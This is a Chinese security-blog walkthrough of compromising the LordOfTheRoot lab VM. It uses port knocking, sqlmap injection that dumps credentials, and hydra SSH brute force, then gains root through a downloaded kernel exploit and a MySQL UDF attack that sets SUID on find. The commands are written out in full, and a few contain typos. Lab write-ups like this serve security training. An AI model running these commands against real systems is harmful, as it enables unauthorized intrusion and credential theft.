freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

LordOfTheRoot靶机渗透笔记
2024-02-08 09:58:25

1.确定目标

用namp -sP进行扫描

查看靶机

1707357140_65c433d497a35630ec2dc.png!small?1707357140803

对网段进行深度扫描nmap -p- -sS -sV -A 192.168.80.138

-p- 扫描开放的端口号

-sS 半开连接,不进行三次握手,安全性高,使用频率高

-sV 对端口上的服务程序版本进行扫描

-A 强力扫描,耗时长

1707357150_65c433de8b14910b7bf38.png!small?1707357151188

发现只对我们开放了22端口,连接查看一下

2.信息搜集

ssh连接

1707357159_65c433e7a4bcd04e90a9e.png!small?1707357160124

提示说需要对端口1,2,3各knock一次

使用knock 192.168.80.138 1 2 3 -v

1707357167_65c433efd4c6681aa6529.png!small?1707357167911

端口碰撞

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

1)第一种方法:knock 命令
linux安装:sudo apt install knockd

使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v


2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1


hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
----------------
-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

参考资料:https://blog.csdn.net/qq_30247635/article/details/86243448
--------------

再次对端口进行扫描

1707357180_65c433fc9e49feeab9f7e.png!small?1707357180808

出现了1337端口的http服务

使用命令进行web扫描查看更多的页面信息

gobuster dir -u http://192.168.80.138:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

1707357208_65c434187c6934d04d453.png!small?1707357208591

gobuster
gobuster和dirb的区别
gobuster可设置的参数更多,扫描的更快
参考:https://blog.csdn.net/qq_43511094/article/details/123650788

1707357235_65c434334422822af51f2.png!small?1707357235922

1707357245_65c4343d15017c7f07fc4.png!small?1707357245332

我们访问/404.html页面

1707357261_65c4344dec39af4240a3f.png!small?1707357262306

查看源码

1707357269_65c4345570f60a75e0202.png!small?1707357269514

对源码base64加密信息进行解密得到 /978345210/index.php

访问这个网址

1707357282_65c43462c903dcef8015a.png!small?1707357283037

得到一个登陆页面

从功能上分析:登录账号密码需要数据库进行验证

所以这里选用sqlmap进行爆破

sqlmap

1)爆破数据库库信息

sqlmap -u "http://192.168.80.138:1337/978345210/index.php" --forms --dbs


Optimization
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试


1707357299_65c4347333164a881158a.png!small?1707357299475

2)爆破数据库表信息

sqlmap -o  -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp --tables

1707357308_65c4347cbf994df4f3721.png!small?1707357310002

3)爆破数据库表字段信息

sqlmap -o  -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp -T Users --columns
(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)

1707357320_65c434882ee9680e4a98c.png!small?1707357321438

4)爆破字段内容信息

sqlmap -o  -u "http://192.168.80.138:1337/978345210/index.php" --forms -D Webapp -T Users --columns -C id,password,username --dump
(-D dbname:指定数据库名称、-T tablename:指定某数据表名称、-C Cnmme:指定列名、--dump:导出列里面的字段)

1707357329_65c43491b54f200796d5e.png!small?1707357330706

1707357337_65c434990f408a10ba989.png!small?1707357337202

得到账号密码,生成字典对ssh端口进行爆破

hydra -L user -P password 192.168.80.138 ssh

1707357349_65c434a5acad0bb560e0a.png!small?1707357349814

登录ssh

1707357359_65c434af105bab1d3f101.png!small?1707357359887

开启kali的http服务

上传文件运行文件进行版本信息服务探查

1707357368_65c434b87c6bfcb7ce102.png!small?1707357368738

1707357376_65c434c0216d798f6bd05.png!small?1707357376267

3.利用漏洞

谷歌搜索:Ubuntu 14.04 exploit https://www.exploit-db.com/exploits/39166

searchsploit 39166 locate linux/local/39166.c cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/桌面/lord

4.提权

(1)第一种:内核提权

python -m http.server 8888 wget http://192.168.80.131:8888/39166.c

gcc 39166.c -o yc chmod +x yc ./yc cd /root

(2)第二种:MySQL的UDF提权

账号密码爆破完成,进入靶机操作系统

1.先查看MySQL版本权限

dpkg -l | grep mysql --查看历史安装包版本

1707357391_65c434cf865f1f24821a6.png!small?1707357392139

5.5.44

2.查看MySQL运行权限是不是root权限

ps aux |grep root --MySQL进程信息 

1707357400_65c434d835edff0887e8d.png!small?1707357402237

是root权限

3.寻找MySQL账号密码

find / -name login.*

1707357408_65c434e0e8ea28606bc84.png!small?1707357409703

发现:/var/www/978345210/login.php

使用cat命令对文件进行抓取

cat /var/www/978345210/login.php

1707357418_65c434eabf2707ca7ac3c.png!small?1707357419069

得到数据库账号密码 root darkshadow

4.登录数据库

mysql -uroot -pdarkshadow

5.查看是否满足写入条件

show global variables like 'secure%';

1707357428_65c434f4b4a05e3602bb7.png!small?1707357428958

发现secure_file_priv为空,可写入文件路径权限,可以使用UDF提权

5.查看插件目录

show variables like '%plugin%';

1707357436_65c434fc1693912c59ae3.png!small?1707357436210

6.查看能不能远程登陆

use mysql;
select user,host from user;

1707357444_65c435045af686938770a.png!small?1707357444518

只能在本地登录,不能使用mdf

7.上传文件

kali机搜索下载漏洞文件

locate lib_mysqludf_sys

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /home/kali

mv lib_mysqludf_sys_32.so yc.so

开启http服务

靶机下载漏洞文件

cd /tmp

wget http://192.168.80.131:8888/yc.so

8.创建一个表

create table yc(yc longblob);

9.插入数据文件

insert into yc values(load_file('/tmp/yc.so'));

10.新建一个函数

select*from yc into dumpfile'/use/lib/mysql/plugin/yc.so';

create funtion sys_exec returns string soname 'yc.so';

11.查看函数

elect*from mysql.func;

12.调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select sys_exec('chmod u+s /usr/bin/find');

13.退出mysql

quit

14.运行函数

find yc -exec "/bin/sh" \;
或者:find yc -exec "id" \;

1707357459_65c43513493f7f938646c.png!small?1707357460574

1707357476_65c4352485e81b943b049.png!small?1707357477085

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 内网渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录